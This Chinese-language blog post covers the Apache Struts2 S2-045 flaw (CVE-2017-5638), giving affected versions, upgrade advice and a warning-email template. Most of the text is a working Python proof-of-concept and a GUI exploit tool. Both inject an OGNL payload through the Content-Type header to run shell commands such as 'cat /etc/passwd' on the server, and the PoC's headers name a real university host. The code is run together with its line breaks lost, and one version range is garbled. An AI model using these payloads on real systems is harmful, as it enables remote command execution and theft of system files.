文章前半部分来自团队小伙伴阿德马的总结,后半部分的Poc和Exp是小编匆忙之际借鉴而来,感谢写Poc和Exp的伙伴~
安恒给官方上报的,然后官方选择了1个对国内来说比较敏感的时期发了公告出来,好蛋疼。
该漏洞的CVE编号是CVE-2017-5638(s2-045),攻击者利用该漏洞可以进行远程命令执行,从而获取更高的服务器权限。
漏洞描述:
查了点资料,发现跟struts2配置中struts.multipart.handler的设置有关,默认使用的就是Jakarta对应类org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。也就是说struts2的此项设置使用了默认配置就会存在该漏洞。
攻击者通过修改http请求头中的Content-Type的值来触发该漏洞,进而执行命令获取更高的系统权限。
如图所示:
上图是使用了测试用poc对被攻击服务器执行了”whoami”的命令。
漏洞影响范围:
Struts 2.3.5 – Struts 2.3.3
Struts 2.5 – Struts 2.5.10
修复建议:
升级到Struts 2.3.32 或者 Struts 2.5.10.1(稳妥方法)
或者在struts2配置中修改struts.multipart.handler的配置(个人理解,未测试)
再贴个预警邮件,大家就都不用写了:
HI,ALL:
Apache Struts2又爆出了新的远程命令执行漏洞,对应CVE编号是CVE-2017-5638,请对受影响的struts2 版本进行升级处理。
Poc:
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersheader1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}def poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]='''%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()poc()
Exp:
#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersclass START():def __init__(self,root):self.root=rootself.show_W_Text = Text()self.show_url_ed = Label(root, text="str2")self.edit_url = Entry(root, text="输入地址")self.butt_whois = Button(root, text="kill",command=self.poc)self.show_url_ed.pack()self.edit_url.pack()self.butt_whois.pack()self.show_W_Text.pack()def poc(self):w_url = self.edit_url.get()text = self.show_W_Textregister_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(w_url, datagen, headers=header)response = urllib2.urlopen(request).read()text.insert(1.0, response)if __name__ == '__main__':root=Tk()root.title("str2 045")motion=START(root)mainloop()